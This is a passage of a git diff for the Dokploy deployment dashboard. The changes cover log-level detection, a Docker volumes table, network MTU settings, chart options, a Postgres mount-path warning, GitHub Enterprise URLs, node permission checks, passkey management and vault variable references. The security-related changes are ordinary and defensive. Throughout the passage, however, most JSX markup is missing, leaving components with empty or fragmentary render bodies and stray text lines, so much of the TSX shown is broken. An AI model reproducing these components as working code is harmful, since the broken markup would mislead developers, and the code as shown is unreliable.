+ ); +}; diff --git a/apps/dokploy/components/dashboard/docker/logs/utils.ts b/apps/dokploy/components/dashboard/docker/logs/utils.ts index 01c68e49a..f817d980e 100644 --- a/apps/dokploy/components/dashboard/docker/logs/utils.ts +++ b/apps/dokploy/components/dashboard/docker/logs/utils.ts @@ -72,8 +72,68 @@ export function parseLogs(logString: string): LogLine[] { .filter((log) => log !== null); } +const LEVEL_NAME_TO_TYPE: Record = { + trace: "debug", + debug: "debug", + info: "info", + information: "info", + notice: "info", + warn: "warning", + warning: "warning", + error: "error", + err: "error", + fatal: "error", + critical: "error", + panic: "error", + alert: "error", + emergency: "error", +}; + +const numericLevelToType = (level: number): LogType => { + // pino/bunyan scale: 10=trace 20=debug 30=info 40=warn 50=error 60=fatal + if (level >= 50) return "error"; + if (level >= 40) return "warning"; + if (level >= 30) return "info"; + if (level >= 10) return "debug"; + // syslog/GELF scale: 0=emergency ... 7=debug + if (level <= 3) return "error"; + if (level === 4) return "warning"; + if (level <= 6) return "info"; + return "debug"; +}; + +// Extract the log level explicitly declared by structured loggers +// (pino, bunyan, winston, zap, slog, logfmt, GCP severity) +const getExplicitLevelType = (message: string): LogType | null => { + // JSON string levels: {"level":"error"} / {"severity":"ERROR"} / {"log.level":"warn"} + const jsonStringMatch = message.match( + /"(?:level|severity|log\.level|loglevel)"\s*:\s*"([a-z]+)"/i, + ); + if (jsonStringMatch?.[1]) { + return LEVEL_NAME_TO_TYPE[jsonStringMatch[1].toLowerCase()] ?? null; + } + + // JSON numeric levels: {"level":50} + const jsonNumericMatch = message.match(/"level"\s*:\s*(\d{1,2})\b/); + if (jsonNumericMatch?.[1]) { + return numericLevelToType(Number(jsonNumericMatch[1])); + } + + // logfmt: level=error + const logfmtMatch = message.match(/(?:^|\s)(?:level|severity)=([a-z]+)\b/i); + if (logfmtMatch?.[1]) { + return LEVEL_NAME_TO_TYPE[logfmtMatch[1].toLowerCase()] ?? null; + } + + return null; +}; + // Detect log type based on message content export const getLogType = (message: string): LogStyle => { + // A level explicitly declared by the logger wins over any inference + const explicitType = getExplicitLevelType(message); + if (explicitType) return LOG_STYLES[explicitType]; + // Detect HTTP statusCode const statusMatch = message.match(/"statusCode"\s*:\s*"?(\d{3})"?/); @@ -97,17 +157,27 @@ export const getLogType = (message: string): LogStyle => { return LOG_STYLES.info; } + // Key/value pairs that explicitly report a non-error (e.g. "error: none", + // "failed: false") must not trigger the error keyword patterns below + const nonErrorColonPairs = + /\b(?:error|err|errors|failed|failure|failures)\s*:\s*(?:none|null|nil|false|0|no|-|""|'')(?=[,;.)\]]|$)/gi; + const nonErrorLogfmtPairs = + /\b(?:error|err|errors|failed|failure|failures)\s*=\s*(?:none|null|nil|false|0|no|-|""|'')(?=[\s,;.)\]]|$)/gi; + const errorScope = lowerMessage + .replace(nonErrorColonPairs, "") + .replace(nonErrorLogfmtPairs, ""); + if ( - /(?:^|\s)(?:error|err):?\s/i.test(lowerMessage) || - /\b(?:exception|failed|failure)\b/i.test(lowerMessage) || - /(?:stack\s?trace):\s*$/i.test(lowerMessage) || - /^\s*at\s+[\w.]+\s*\(?.+:\d+:\d+\)?/.test(lowerMessage) || - /\b(?:uncaught|unhandled)\s+(?:exception|error)\b/i.test(lowerMessage) || - /Error:\s.*(?:in|at)\s+.*:\d+(?::\d+)?/.test(lowerMessage) || - /\b(?:errno|code):\s*(?:\d+|[A-Z_]+)\b/i.test(lowerMessage) || - /\[(?:error|err|fatal)\]/i.test(lowerMessage) || - /\b(?:crash|critical|fatal)\b/i.test(lowerMessage) || - /\b(?:fail(?:ed|ure)?|broken|dead)\b/i.test(lowerMessage) + /(?:^|\s)(?:error|err):?\s/i.test(errorScope) || + /\b(?:exception|failed|failure)\b/i.test(errorScope) || + /(?:stack\s?trace):\s*$/i.test(errorScope) || + /^\s*at\s+[\w.]+\s*\(?.+:\d+:\d+\)?/.test(errorScope) || + /\b(?:uncaught|unhandled)\s+(?:exception|error)\b/i.test(errorScope) || + /Error:\s.*(?:in|at)\s+.*:\d+(?::\d+)?/.test(errorScope) || + /\b(?:errno|code):\s*(?:\d+|[A-Z_]+)\b/i.test(errorScope) || + /\[(?:error|err|fatal)\]/i.test(errorScope) || + /\b(?:crash|critical|fatal)\b/i.test(errorScope) || + /\b(?:fail(?:ed|ure)?|broken|dead)\b/i.test(errorScope) ) { return LOG_STYLES.error; } diff --git a/apps/dokploy/components/dashboard/docker/show/columns.tsx b/apps/dokploy/components/dashboard/docker/show/columns.tsx index 4b108344e..3a105aefa 100644 --- a/apps/dokploy/components/dashboard/docker/show/columns.tsx +++ b/apps/dokploy/components/dashboard/docker/show/columns.tsx @@ -12,6 +12,7 @@ import { DropdownMenuTrigger, } from "@/components/ui/dropdown-menu"; import { ShowContainerConfig } from "../config/show-container-config"; +import { FilesExplorerModal } from "../files/files-explorer-modal"; import { ShowDockerModalLogs } from "../logs/show-docker-modal-logs"; import { ShowContainerMounts } from "../mounts/show-container-mounts"; import { ShowContainerNetworks } from "../networks/show-container-networks"; @@ -173,6 +174,12 @@ export const columns: ColumnDef[] = [ > Terminal + + Browse Files + = ({ const ws = new WebSocket(wsUrl); const addonAttach = new AttachAddon(ws); + fixMacOsAltKeys(term); // @ts-ignore term.open(termRef.current); // @ts-ignore diff --git a/apps/dokploy/components/dashboard/docker/volumes/show-volumes.tsx b/apps/dokploy/components/dashboard/docker/volumes/show-volumes.tsx new file mode 100644 index 000000000..d8c76662f --- /dev/null +++ b/apps/dokploy/components/dashboard/docker/volumes/show-volumes.tsx @@ -0,0 +1,434 @@ +"use client"; + +import { + type ColumnDef, + flexRender, + getCoreRowModel, + getPaginationRowModel, + getSortedRowModel, + type PaginationState, + type SortingState, + useReactTable, +} from "@tanstack/react-table"; +import type { inferRouterOutputs } from "@trpc/server"; +import { + ArrowUpDown, + Eye, + FolderOpen, + HardDrive, + Loader2, + Trash2, +} from "lucide-react"; +import { useMemo, useState } from "react"; +import { toast } from "sonner"; +import { FilesExplorerModal } from "@/components/dashboard/docker/files/files-explorer-modal"; +import { AlertBlock } from "@/components/shared/alert-block"; +import { CodeEditor } from "@/components/shared/code-editor"; +import { DialogAction } from "@/components/shared/dialog-action"; +import { Badge } from "@/components/ui/badge"; +import { Button } from "@/components/ui/button"; +import { + Card, + CardContent, + CardDescription, + CardHeader, + CardTitle, +} from "@/components/ui/card"; +import { + Dialog, + DialogContent, + DialogDescription, + DialogHeader, + DialogTitle, + DialogTrigger, +} from "@/components/ui/dialog"; +import { Input } from "@/components/ui/input"; +import { + Table, + TableBody, + TableCell, + TableHead, + TableHeader, + TableRow, +} from "@/components/ui/table"; +import type { AppRouter } from "@/server/api/root"; +import { api } from "@/utils/api"; + +type VolumeRow = + inferRouterOutputs["dockerVolume"]["getVolumes"][number]; + +interface Props { + serverId?: string; +} + +const SIZE_UNITS: Record = { + b: 1, + kb: 1e3, + mb: 1e6, + gb: 1e9, + tb: 1e12, +}; + +const parseSize = (size?: string) => { + if (!size) return -1; + const match = /^([\d.]+)\s*([a-zA-Z]+)$/.exec(size.trim()); + if (!match?.[1] || !match[2]) return -1; + return Number(match[1]) * (SIZE_UNITS[match[2].toLowerCase()] ?? 1); +}; + +const SortableHeader = ({ + column, + title, +}: { + column: { + getIsSorted: () => false | "asc" | "desc"; + toggleSorting: (asc: boolean) => void; + }; + title: string; +}) => ( + +); + +const ShowVolumeConfig = ({ + volumeName, + serverId, +}: { + volumeName: string; + serverId?: string; +}) => { + const [open, setOpen] = useState(false); + const { data, isLoading, error } = api.dockerVolume.getVolumeConfig.useQuery( + { volumeName, serverId }, + { enabled: open }, + ); + + return ( + + + + + + + Volume Config + + docker volume inspect output for "{volumeName}" + + + {error ? ( + {error.message} + ) : isLoading ? ( +
+ Loading... + +
+ ) : ( +
+ +
+								
+							
+
+
+ )} +
+
+ ); +}; + +export const ShowVolumes = ({ serverId }: Props) => { + const utils = api.useUtils(); + const [sorting, setSorting] = useState([ + { id: "Name", desc: false }, + ]); + const [globalFilter, setGlobalFilter] = useState(""); + const [pagination, setPagination] = useState({ + pageIndex: 0, + pageSize: 10, + }); + + const { data: volumes, isLoading } = api.dockerVolume.getVolumes.useQuery({ + serverId, + }); + const { data: sizes, isLoading: isLoadingSizes } = + api.dockerVolume.getVolumesSize.useQuery({ serverId }); + + const sizeByName = useMemo( + () => new Map((sizes ?? []).map((entry) => [entry.name, entry.size])), + [sizes], + ); + const { mutateAsync: removeVolume } = + api.dockerVolume.removeVolume.useMutation(); + + const filteredData = useMemo(() => { + const list = volumes ?? []; + if (!globalFilter.trim()) { + return list; + } + const query = globalFilter.toLowerCase(); + return list.filter((volume) => volume.Name.toLowerCase().includes(query)); + }, [volumes, globalFilter]); + + const columns = useMemo[]>( + () => [ + { + accessorKey: "Name", + header: ({ column }) => , + cell: ({ row }) => ( +
+ {row.original.Name} +
+ ), + }, + { + accessorKey: "Driver", + header: ({ column }) => ( + + ), + cell: ({ row }) => ( + {row.original.Driver} + ), + }, + { + accessorKey: "Scope", + header: ({ column }) => ( + + ), + cell: ({ row }) => ( + {row.original.Scope} + ), + }, + { + id: "Size", + header: ({ column }) => , + sortingFn: (a, b) => + parseSize(sizeByName.get(a.original.Name) ?? undefined) - + parseSize(sizeByName.get(b.original.Name) ?? undefined), + cell: ({ row }) => + isLoadingSizes ? ( + + ) : ( + + {sizeByName.get(row.original.Name) ?? "-"} + + ), + }, + { + accessorKey: "Mountpoint", + header: ({ column }) => ( + + ), + cell: ({ row }) => ( +
+ {row.original.Mountpoint} +
+ ), + }, + { + id: "actions", + enableSorting: false, + header: () =>
Actions
, + cell: ({ row }) => ( +
+ + + + + { + try { + await removeVolume({ + volumeName: row.original.Name, + serverId, + }); + toast.success("Volume deleted"); + await utils.dockerVolume.getVolumes.invalidate(); + } catch (error) { + toast.error("Error deleting volume", { + description: + error instanceof Error ? error.message : "Unknown error", + }); + } + }} + > + + +
+ ), + }, + ], + [serverId, removeVolume, utils, sizeByName, isLoadingSizes], + ); + + const table = useReactTable({ + data: filteredData, + columns, + state: { + sorting, + pagination, + }, + onSortingChange: setSorting, + onPaginationChange: setPagination, + getCoreRowModel: getCoreRowModel(), + getSortedRowModel: getSortedRowModel(), + getPaginationRowModel: getPaginationRowModel(), + }); + + return ( +
+ +
+ + + + Volumes + + + Manage the Docker volumes of the selected server. + + + + + {isLoading ? ( +
+ Loading... + +
+ ) : !volumes?.length ? ( +
+
+ +
+
+

No volumes found

+

+ Docker volumes created on this server will appear here. +

+
+
+ ) : ( + <> +
+ setGlobalFilter(e.target.value)} + className="max-w-xs" + /> +
+
+ + + {table.getHeaderGroups().map((headerGroup) => ( + + {headerGroup.headers.map((header) => ( + + {header.isPlaceholder + ? null + : flexRender( + header.column.columnDef.header, + header.getContext(), + )} + + ))} + + ))} + + + {table.getRowModel().rows?.length ? ( + table.getRowModel().rows.map((row) => ( + + {row.getVisibleCells().map((cell) => ( + + {flexRender( + cell.column.columnDef.cell, + cell.getContext(), + )} + + ))} + + )) + ) : ( + + + No volumes match your filters. + + + )} + +
+
+ {table.getPageCount() > 1 && ( +
+ + Page {table.getState().pagination.pageIndex + 1} of{" "} + {table.getPageCount()} + +
+ + +
+
+ )} + + )} +
+
+
+
+ ); +}; diff --git a/apps/dokploy/components/dashboard/monitoring/free/container/docker-block-chart.tsx b/apps/dokploy/components/dashboard/monitoring/free/container/docker-block-chart.tsx index 91db49869..15c68b6b9 100644 --- a/apps/dokploy/components/dashboard/monitoring/free/container/docker-block-chart.tsx +++ b/apps/dokploy/components/dashboard/monitoring/free/container/docker-block-chart.tsx @@ -1,3 +1,4 @@ +import { formatMb, toMb } from "@dokploy/server/monitoring/units"; import { format } from "date-fns"; import { Area, AreaChart, CartesianGrid, YAxis } from "recharts"; import { @@ -29,8 +30,8 @@ export const DockerBlockChart = ({ accumulativeData }: Props) => { const transformedData = accumulativeData.map((item, index) => ({ time: item.time, name: `Point ${index + 1}`, - readMb: item.value.readMb, - writeMb: item.value.writeMb, + readMb: toMb(item.value.readMb), + writeMb: toMb(item.value.writeMb), })); return ( @@ -77,13 +78,14 @@ export const DockerBlockChart = ({ accumulativeData }: Props) => { }} formatter={(value, name) => { const label = name === "readMb" ? "Read" : "Write"; - return [`${value} MB`, label]; + return [formatMb(Number(value)), label]; }} /> } /> { /> { /> { /> { const transformedData = accumulativeData.map((item, index) => ({ time: item.time, name: `Point ${index + 1}`, - inMB: item.value.inputMb, - outMB: item.value.outputMb, + inMB: toMb(item.value.inputMb), + outMB: toMb(item.value.outputMb), })); return ( @@ -73,13 +74,14 @@ export const DockerNetworkChart = ({ accumulativeData }: Props) => { }} formatter={(value, name) => { const label = name === "inMB" ? "In" : "Out"; - return [`${value} MB`, label]; + return [formatMb(Number(value)), label]; }} /> } /> { />
- {`Read: ${currentData.block.value.readMb} / Write: ${currentData.block.value.writeMb} `} + {`Read: ${formatMb(currentData.block.value.readMb)} / Write: ${formatMb(currentData.block.value.writeMb)}`}
@@ -318,7 +319,7 @@ export const ContainerFreeMonitoring = ({
- {`In MB: ${currentData.network.value.inputMb} / Out MB: ${currentData.network.value.outputMb} `} + {`In: ${formatMb(currentData.network.value.inputMb)} / Out: ${formatMb(currentData.network.value.outputMb)}`}
diff --git a/apps/dokploy/components/dashboard/monitoring/paid/container/container-block-chart.tsx b/apps/dokploy/components/dashboard/monitoring/paid/container/container-block-chart.tsx index eca265765..5b378c20d 100644 --- a/apps/dokploy/components/dashboard/monitoring/paid/container/container-block-chart.tsx +++ b/apps/dokploy/components/dashboard/monitoring/paid/container/container-block-chart.tsx @@ -154,6 +154,7 @@ export const ContainerBlockChart = ({ data }: Props) => { name="Write" dataKey="write" type="monotone" + isAnimationActive={false} fill="url(#fillWrite)" stroke="hsl(142, 71%, 45%)" strokeWidth={2} @@ -163,6 +164,7 @@ export const ContainerBlockChart = ({ data }: Props) => { name="Read" dataKey="read" type="monotone" + isAnimationActive={false} fill="url(#fillRead)" stroke="hsl(217, 91%, 60%)" strokeWidth={2} diff --git a/apps/dokploy/components/dashboard/monitoring/paid/container/container-cpu-chart.tsx b/apps/dokploy/components/dashboard/monitoring/paid/container/container-cpu-chart.tsx index 5a4996ba2..e4c96df2e 100644 --- a/apps/dokploy/components/dashboard/monitoring/paid/container/container-cpu-chart.tsx +++ b/apps/dokploy/components/dashboard/monitoring/paid/container/container-cpu-chart.tsx @@ -111,6 +111,7 @@ export const ContainerCPUChart = ({ data }: Props) => { name="CPU" dataKey="cpu" type="monotone" + isAnimationActive={false} fill="url(#fillCPU)" stroke="hsl(var(--chart-1))" strokeWidth={2} diff --git a/apps/dokploy/components/dashboard/monitoring/paid/container/container-memory-chart.tsx b/apps/dokploy/components/dashboard/monitoring/paid/container/container-memory-chart.tsx index 23d934c06..22a9e4ac7 100644 --- a/apps/dokploy/components/dashboard/monitoring/paid/container/container-memory-chart.tsx +++ b/apps/dokploy/components/dashboard/monitoring/paid/container/container-memory-chart.tsx @@ -132,6 +132,7 @@ export const ContainerMemoryChart = ({ data }: Props) => { name="Memory" dataKey="memory" type="monotone" + isAnimationActive={false} fill="url(#fillMemory)" stroke="hsl(var(--chart-2))" strokeWidth={2} diff --git a/apps/dokploy/components/dashboard/monitoring/paid/container/container-network-chart.tsx b/apps/dokploy/components/dashboard/monitoring/paid/container/container-network-chart.tsx index f9f033b36..de869614d 100644 --- a/apps/dokploy/components/dashboard/monitoring/paid/container/container-network-chart.tsx +++ b/apps/dokploy/components/dashboard/monitoring/paid/container/container-network-chart.tsx @@ -161,6 +161,7 @@ export const ContainerNetworkChart = ({ data }: Props) => { name="Input" dataKey="input" type="monotone" + isAnimationActive={false} fill="url(#fillInput)" stroke="hsl(var(--chart-3))" strokeWidth={2} @@ -169,6 +170,7 @@ export const ContainerNetworkChart = ({ data }: Props) => { name="Output" dataKey="output" type="monotone" + isAnimationActive={false} fill="url(#fillOutput)" stroke="hsl(var(--chart-4))" strokeWidth={2} diff --git a/apps/dokploy/components/dashboard/monitoring/paid/servers/cpu-chart.tsx b/apps/dokploy/components/dashboard/monitoring/paid/servers/cpu-chart.tsx index 2ac560ce6..4d29c56b9 100644 --- a/apps/dokploy/components/dashboard/monitoring/paid/servers/cpu-chart.tsx +++ b/apps/dokploy/components/dashboard/monitoring/paid/servers/cpu-chart.tsx @@ -98,6 +98,7 @@ export function CPUChart({ data }: CPUChartProps) { name="CPU" dataKey="cpu" type="monotone" + isAnimationActive={false} fill="url(#fillCPU)" stroke="hsl(var(--chart-1))" strokeWidth={2} diff --git a/apps/dokploy/components/dashboard/monitoring/paid/servers/memory-chart.tsx b/apps/dokploy/components/dashboard/monitoring/paid/servers/memory-chart.tsx index b54208652..920ae9a2d 100644 --- a/apps/dokploy/components/dashboard/monitoring/paid/servers/memory-chart.tsx +++ b/apps/dokploy/components/dashboard/monitoring/paid/servers/memory-chart.tsx @@ -115,6 +115,7 @@ export function MemoryChart({ data }: MemoryChartProps) { yAxisId="left" dataKey="memUsed" type="monotone" + isAnimationActive={false} fill="url(#fillMemory)" stroke="hsl(var(--chart-2))" strokeWidth={2} diff --git a/apps/dokploy/components/dashboard/monitoring/paid/servers/network-chart.tsx b/apps/dokploy/components/dashboard/monitoring/paid/servers/network-chart.tsx index 11eec853b..249df308b 100644 --- a/apps/dokploy/components/dashboard/monitoring/paid/servers/network-chart.tsx +++ b/apps/dokploy/components/dashboard/monitoring/paid/servers/network-chart.tsx @@ -120,6 +120,7 @@ export function NetworkChart({ data }: NetworkChartProps) { name="Network In" dataKey="networkIn" type="monotone" + isAnimationActive={false} fill="url(#fillNetworkIn)" stroke="hsl(var(--chart-3))" strokeWidth={2} @@ -128,6 +129,7 @@ export function NetworkChart({ data }: NetworkChartProps) { name="Network Out" dataKey="networkOut" type="monotone" + isAnimationActive={false} fill="url(#fillNetworkOut)" stroke="hsl(var(--chart-4))" strokeWidth={2} diff --git a/apps/dokploy/components/dashboard/networks/handle-network.tsx b/apps/dokploy/components/dashboard/networks/handle-network.tsx index 8f522c40d..c08927938 100644 --- a/apps/dokploy/components/dashboard/networks/handle-network.tsx +++ b/apps/dokploy/components/dashboard/networks/handle-network.tsx @@ -54,6 +54,14 @@ const networkFormSchema = z attachable: z.boolean(), enableIPv4: z.boolean(), enableIPv6: z.boolean(), + mtu: z + .string() + .refine( + (value) => + value === "" || + (/^\d+$/.test(value) && +value >= 68 && +value <= 65535), + { message: "MTU must be a number between 68 and 65535" }, + ), ipamDriver: z.string().optional(), ipamConfig: z.array(ipamConfigEntrySchema), }) @@ -85,6 +93,7 @@ const defaultValues: NetworkFormValues = { attachable: false, enableIPv4: true, enableIPv6: false, + mtu: "", ipamDriver: "", ipamConfig: [], }; @@ -147,6 +156,7 @@ export const HandleNetwork = ({ serverId, children }: HandleNetworkProps) => { attachable: data.attachable, enableIPv4: data.enableIPv4, enableIPv6: data.enableIPv6, + mtu: data.mtu ? Number(data.mtu) : undefined, ipam: { driver: data.ipamDriver || undefined, config: data.ipamConfig, @@ -232,6 +242,27 @@ export const HandleNetwork = ({ serverId, children }: HandleNetworkProps) => { )} /> + ( + + MTU (optional) + + + + + Maximum transmission unit. Leave empty to use Docker's + default. + + + + )} + />
{toggleOptions.map((option) => ( diff --git a/apps/dokploy/components/dashboard/organization/handle-organization.tsx b/apps/dokploy/components/dashboard/organization/handle-organization.tsx index 1a3bd919d..d6aab6ebb 100644 --- a/apps/dokploy/components/dashboard/organization/handle-organization.tsx +++ b/apps/dokploy/components/dashboard/organization/handle-organization.tsx @@ -14,7 +14,6 @@ import { DialogTitle, DialogTrigger, } from "@/components/ui/dialog"; -import { DropdownMenuItem } from "@/components/ui/dropdown-menu"; import { Form, FormControl, @@ -103,16 +102,19 @@ export function AddOrganization({ organizationId }: Props) { {organizationId ? ( - e.preventDefault()} + ) : ( - e.preventDefault()} + )} diff --git a/apps/dokploy/components/dashboard/postgres/advanced/show-custom-command.tsx b/apps/dokploy/components/dashboard/postgres/advanced/show-custom-command.tsx index 07e059ce8..4023230f8 100644 --- a/apps/dokploy/components/dashboard/postgres/advanced/show-custom-command.tsx +++ b/apps/dokploy/components/dashboard/postgres/advanced/show-custom-command.tsx @@ -4,6 +4,7 @@ import { useEffect } from "react"; import { useFieldArray, useForm } from "react-hook-form"; import { toast } from "sonner"; import { z } from "zod"; +import { AlertBlock } from "@/components/shared/alert-block"; import { Button } from "@/components/ui/button"; import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card"; import { @@ -18,6 +19,19 @@ import { Input } from "@/components/ui/input"; import { api } from "@/utils/api"; import type { ServiceType } from "../../application/advanced/show-resources"; +const getPostgresMountPath = (dockerImage: string): string => { + const versionMatch = dockerImage.match(/postgres:(\d+)/); + if (versionMatch?.[1]) { + const version = Number.parseInt(versionMatch[1], 10); + if (version >= 18) { + return `/var/lib/postgresql/${version}/docker`; + } + } + return "/var/lib/postgresql/data"; +}; + +const POSTGRES_DATA_PATH_REGEX = /^\/var\/lib\/postgresql(\/|$)/; + const addDockerImage = z.object({ dockerImage: z.string().min(1, "Docker image is required"), command: z.string(), @@ -91,6 +105,27 @@ export const ShowCustomCommand = ({ id, type }: Props) => { } }, [data, form]); + const dockerImage = form.watch("dockerImage"); + + const mountPathWarning = (() => { + if (type !== "postgres" || !dockerImage) return null; + const mounts = data && "mounts" in data ? data.mounts : []; + const dataMounts = mounts.filter( + (mount) => + mount.type === "volume" && + POSTGRES_DATA_PATH_REGEX.test(mount.mountPath), + ); + if (dataMounts.length === 0) return null; + const expectedPath = getPostgresMountPath(dockerImage); + if (dataMounts.some((mount) => mount.mountPath === expectedPath)) { + return null; + } + return { + expectedPath, + currentPath: dataMounts.map((mount) => mount.mountPath).join(", "), + }; + })(); + const onSubmit = async (formData: AddDockerImage) => { await mutateAsync({ mongoId: id || "", @@ -139,6 +174,18 @@ export const ShowCustomCommand = ({ id, type }: Props) => { )} /> + {mountPathWarning && ( + + This image expects its data directory under{" "} + {mountPathWarning.expectedPath}, but the + volume of this database is mounted at{" "} + {mountPathWarning.currentPath}. Changing the + image does not migrate existing data — Postgres may + crash-loop or start with an empty database. Adjust the + volume mount path in the Volumes section or keep a + compatible image before saving. + + )}
{ }, ); + const completionSource = useEnvCompletionSource({ + includeShared: false, + projectId: data?.projectId, + environmentId, + }); const form = useForm({ defaultValues: { env: data?.env ?? "", @@ -134,7 +140,9 @@ export const EnvironmentVariables = ({ environmentId, children }: Props) => { Use this syntax to reference environment-level variables in your service environments:{" "} - API_URL=${"{{environment.API_URL}}"} + API_URL=${"{{environment.API_URL}}"}. You can also + reference secrets from a configured vault provider:{" "} + DB_URL=${"{{vault..}}"}
@@ -151,6 +159,7 @@ export const EnvironmentVariables = ({ environmentId, children }: Props) => { Environment variables { }, ); + const completionSource = useEnvCompletionSource({ + includeShared: false, + projectId, + }); const form = useForm({ defaultValues: { env: data?.env ?? "", @@ -77,6 +82,7 @@ export const ProjectEnvironment = ({ projectId, children }: Props) => { .then(() => { toast.success("Project env updated successfully"); utils.project.all.invalidate(); + utils.project.one.invalidate({ projectId }); }) .catch(() => { toast.error("Error updating the env"); @@ -149,6 +155,7 @@ export const ProjectEnvironment = ({ projectId, children }: Props) => { Environment variables { const [dateRange, setDateRange] = useState<{ from: Date | undefined; to: Date | undefined; - }>(getDefaultDateRange()); + }>(() => getDefaultDateRange()); // Check if logs exist to determine if traefik has been reloaded // Only fetch when active to minimize network calls diff --git a/apps/dokploy/components/dashboard/settings/cluster/nodes/show-nodes.tsx b/apps/dokploy/components/dashboard/settings/cluster/nodes/show-nodes.tsx index c7f580caa..ef036507a 100644 --- a/apps/dokploy/components/dashboard/settings/cluster/nodes/show-nodes.tsx +++ b/apps/dokploy/components/dashboard/settings/cluster/nodes/show-nodes.tsx @@ -52,13 +52,14 @@ export const ShowNodes = ({ serverId }: Props) => { serverId, }); const { data: registry } = api.registry.all.useQuery(); + const { data: permissions } = api.user.getPermissions.useQuery(); const { mutateAsync: deleteNode } = api.cluster.removeWorker.useMutation(); const haveAtLeastOneRegistry = !!(registry && registry?.length > 0); return (
- +
@@ -68,7 +69,7 @@ export const ShowNodes = ({ serverId }: Props) => { Add nodes to your cluster
- {haveAtLeastOneRegistry && ( + {haveAtLeastOneRegistry && permissions?.server.create && (
@@ -144,34 +145,35 @@ export const ShowNodes = ({ serverId }: Props) => { Actions - {!node?.ManagerStatus?.Leader && ( - { - await deleteNode({ - nodeId: node.ID, - serverId, - }) - .then(() => { - refetch(); - toast.success( - "Node deleted successfully", - ); + {!node?.ManagerStatus?.Leader && + permissions?.server.delete && ( + { + await deleteNode({ + nodeId: node.ID, + serverId, }) - .catch(() => { - toast.error("Error deleting node"); - }); - }} - > - e.preventDefault()} + .then(() => { + refetch(); + toast.success( + "Node deleted successfully", + ); + }) + .catch(() => { + toast.error("Error deleting node"); + }); + }} > - Delete - - - )} + e.preventDefault()} + > + Delete + + + )} diff --git a/apps/dokploy/components/dashboard/settings/git/github/add-github-provider.tsx b/apps/dokploy/components/dashboard/settings/git/github/add-github-provider.tsx index f2ba167ff..51722e781 100644 --- a/apps/dokploy/components/dashboard/settings/git/github/add-github-provider.tsx +++ b/apps/dokploy/components/dashboard/settings/git/github/add-github-provider.tsx @@ -13,6 +13,7 @@ import { import { Input } from "@/components/ui/input"; import { Switch } from "@/components/ui/switch"; import { api } from "@/utils/api"; +import { DEFAULT_GITHUB_URL, resolveGithubBaseUrl } from "@/utils/github-utils"; export const AddGithubProvider = () => { const [isOpen, setIsOpen] = useState(false); @@ -23,6 +24,9 @@ export const AddGithubProvider = () => { const [manifest, setManifest] = useState(""); const [isOrganization, setIsOrganization] = useState(false); const [organizationName, setOrganization] = useState(""); + const [githubUrl, setGithubUrl] = useState(DEFAULT_GITHUB_URL); + + const { baseUrl, error: githubUrlError } = resolveGithubBaseUrl(githubUrl); const randomString = () => Math.random().toString(36).slice(2, 8); @@ -30,7 +34,7 @@ export const AddGithubProvider = () => { const url = document.location.origin; const manifest = JSON.stringify( { - redirect_url: `${origin}/api/providers/github/setup?organizationId=${activeOrganization?.id ?? ""}&userId=${session?.user?.id ?? ""}`, + redirect_url: `${origin}/api/providers/github/setup?organizationId=${activeOrganization?.id ?? ""}&userId=${session?.user?.id ?? ""}&githubUrl=${encodeURIComponent(baseUrl)}`, name: `Dokploy-${format(new Date(), "yyyy-MM-dd")}-${randomString()}`, url: origin, hook_attributes: { @@ -52,7 +56,7 @@ export const AddGithubProvider = () => { ); setManifest(manifest); - }, [activeOrganization?.id, session?.user?.id]); + }, [activeOrganization?.id, session?.user?.id, baseUrl]); return ( @@ -79,6 +83,25 @@ export const AddGithubProvider = () => { below to get started.

+
+ GitHub URL + setGithubUrl(e.target.value)} + /> + + Leave as is for github.com. For GitHub Enterprise, use your + instance URL (e.g. https://acme.ghe.com or + https://github.acme.com). + + {githubUrlError && ( + + {githubUrlError} + + )} +
+
Organization? { @@ -116,22 +139,25 @@ export const AddGithubProvider = () => { Unsure if you already have an app? + + + + Passkeys + + Sign in without a password using your device's biometrics, security + key, or password manager. + + + +
+ {isLoading ? ( +
+ Loading... + +
+ ) : passkeys && passkeys.length > 0 ? ( +
+ {passkeys.map((passkey) => ( +
+
+ + + + {passkey.name || "Unnamed passkey"} + + + {passkey.deviceType === "singleDevice" + ? "Device" + : "Synced"} + + + {passkey.createdAt && ( + + Added + + )} +
+ handleDeletePasskey(passkey.id)} + > + + +
+ ))} +
+ ) : ( +
+ + No passkeys registered yet +
+ )} + + + +
+ setName(e.target.value)} + /> + +
+ +
+
+
+ ); +}; diff --git a/apps/dokploy/components/dashboard/settings/profile/profile-form.tsx b/apps/dokploy/components/dashboard/settings/profile/profile-form.tsx index c3e9d77a5..ceb6d3cd1 100644 --- a/apps/dokploy/components/dashboard/settings/profile/profile-form.tsx +++ b/apps/dokploy/components/dashboard/settings/profile/profile-form.tsx @@ -31,6 +31,7 @@ import { generateSHA256Hash, getFallbackAvatarInitials } from "@/lib/utils"; import { api } from "@/utils/api"; import { Configure2FA } from "./configure-2fa"; import { Enable2FA } from "./enable-2fa"; +import { ManagePasskeys } from "./manage-passkeys"; const profileSchema = z.object({ email: z @@ -162,7 +163,10 @@ export const ProfileForm = () => {
- {!data?.user.twoFactorEnabled ? : } +
+ + {!data?.user.twoFactorEnabled ? : } +
diff --git a/apps/dokploy/components/dashboard/settings/users/add-invitation.tsx b/apps/dokploy/components/dashboard/settings/users/add-invitation.tsx index 314379586..1c8952d43 100644 --- a/apps/dokploy/components/dashboard/settings/users/add-invitation.tsx +++ b/apps/dokploy/components/dashboard/settings/users/add-invitation.tsx @@ -106,6 +106,7 @@ export const AddInvitation = () => { const { mutateAsync: createUserWithCredentials, isPending: isCreating } = api.user.createUserWithCredentials.useMutation(); const { data: customRoles } = api.customRole.all.useQuery(); + const { data: activeOrganization } = api.organization.active.useQuery(); const [error, setError] = useState(null); const form = useForm({ @@ -132,6 +133,16 @@ export const AddInvitation = () => { } }, [form, isCloud]); + useEffect(() => { + if ( + activeOrganization?.defaultRole && + activeOrganization.defaultRole !== "owner" && + !form.formState.dirtyFields.role + ) { + form.setValue("role", activeOrganization.defaultRole); + } + }, [form, activeOrganization?.defaultRole]); + const onSubmit = async (data: AddInvitation) => { setError(null); @@ -267,10 +278,7 @@ export const AddInvitation = () => { return ( Role - diff --git a/apps/dokploy/components/dashboard/settings/vault/handle-vault-provider.tsx b/apps/dokploy/components/dashboard/settings/vault/handle-vault-provider.tsx new file mode 100644 index 000000000..bb438d6d3 --- /dev/null +++ b/apps/dokploy/components/dashboard/settings/vault/handle-vault-provider.tsx @@ -0,0 +1,1082 @@ +import { standardSchemaResolver as zodResolver } from "@hookform/resolvers/standard-schema"; +import { PenBoxIcon, PlusIcon 